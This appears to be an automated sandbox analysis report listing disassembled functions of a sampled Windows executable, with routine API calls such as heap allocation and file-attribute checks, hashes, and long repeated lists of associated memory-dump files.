Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 7e9bb83d61da7e927b733399334dd35fa77e108921d8eda377fc350d0bc00655
Instruction ID: 26567f97dade598cfca9e2446a03d9af483a22947f68036ee5d679629abe0a05
Opcode Fuzzy Hash: 7e9bb83d61da7e927b733399334dd35fa77e108921d8eda377fc350d0bc00655
Instruction Fuzzy Hash: 2F12F470E04254DBDB24AB28DD4A7ED7B71AB86320F944298E419673C2DF354FC5ABC2

Function 00C4D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C4A813,00000001,00000364,00000006,000000FF,?,00C4EE3F,?,00000004,00000000,?,?), ref: 00C4D870

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b2c226544e95c5f5061a1770616429c6f5675746beb0cc50ae65afb61eeb4934
Instruction ID: 1249830ef0700c06074e89a04c70905238eebb64bed60758f0bd506c105ae95a
Opcode Fuzzy Hash: b2c226544e95c5f5061a1770616429c6f5675746beb0cc50ae65afb61eeb4934
Instruction Fuzzy Hash: F1F02732A0522466EF213A739C01B7B3B59FF91770B298121FC1AAB1D1DB30DD0096E0

Function 00C187B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00C1DA1D,?,?,?,?), ref: 00C187B9

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2fa19bc8eed263edd4a3a9c8b0edc9de813503d9b248ab0fd8a4805faf6b4dd5
Instruction ID: a0b5045a3fefa9f60bbafe2a2826c1e9a8c0cfdf6f74491cb1e195bd6a51c158
Opcode Fuzzy Hash: 2fa19bc8eed263edd4a3a9c8b0edc9de813503d9b248ab0fd8a4805faf6b4dd5
Instruction Fuzzy Hash: B5C08C280196000AED2C453841888F833454B8BBA43F42B84F0B44F1E2CB3558CFFA90

Function 00C187B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00C1DA1D,?,?,?,?), ref: 00C187B9

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 355a654365715ba9144411f173b83c17ef042307f271d72845556a81a9c72332
Instruction ID: 43b33fb25731ee7c41fc553346b8cfe19b79fcf44c130d041e9cd128a79c4aaa
Opcode Fuzzy Hash: 355a654365715ba9144411f173b83c17ef042307f271d72845556a81a9c72332
Instruction Fuzzy Hash: 03C0803401510046E91C453841484B432055F477143F01B48F0714F1E1CB32C5CBFBD0

Function 00C1B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00C1B3C8

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f62b91b19246dd64d50ce22a88ae6e007e67c577983edede367fede795646172
Instruction ID: cba60448281bef3da8505b2142a370239fe8591553870f730c78d91b7f8916a6
Opcode Fuzzy Hash: f62b91b19246dd64d50ce22a88ae6e007e67c577983edede367fede795646172
Instruction Fuzzy Hash: 6CB10670A10268DFEB28CF18C994BDEB7B5EF16304F5085D8E80967281D775AAC9CF90

Non-executed Functions

Function 00C531A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00C53323

Strings

1#IND, xrefs: 00C544B3
1#SNAN, xrefs: 00C544BA
1#QNAN, xrefs: 00C544C1
1#INF, xrefs: 00C544DE

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 6fb409f8308afbffe0c7afb7df947adab0eee117a3ef8d0d0523531e4781502a
Instruction ID: 18db5f1a5951f5efd7b1cb493b91e6678077671bd34bd55c61ceae6473cf69f4
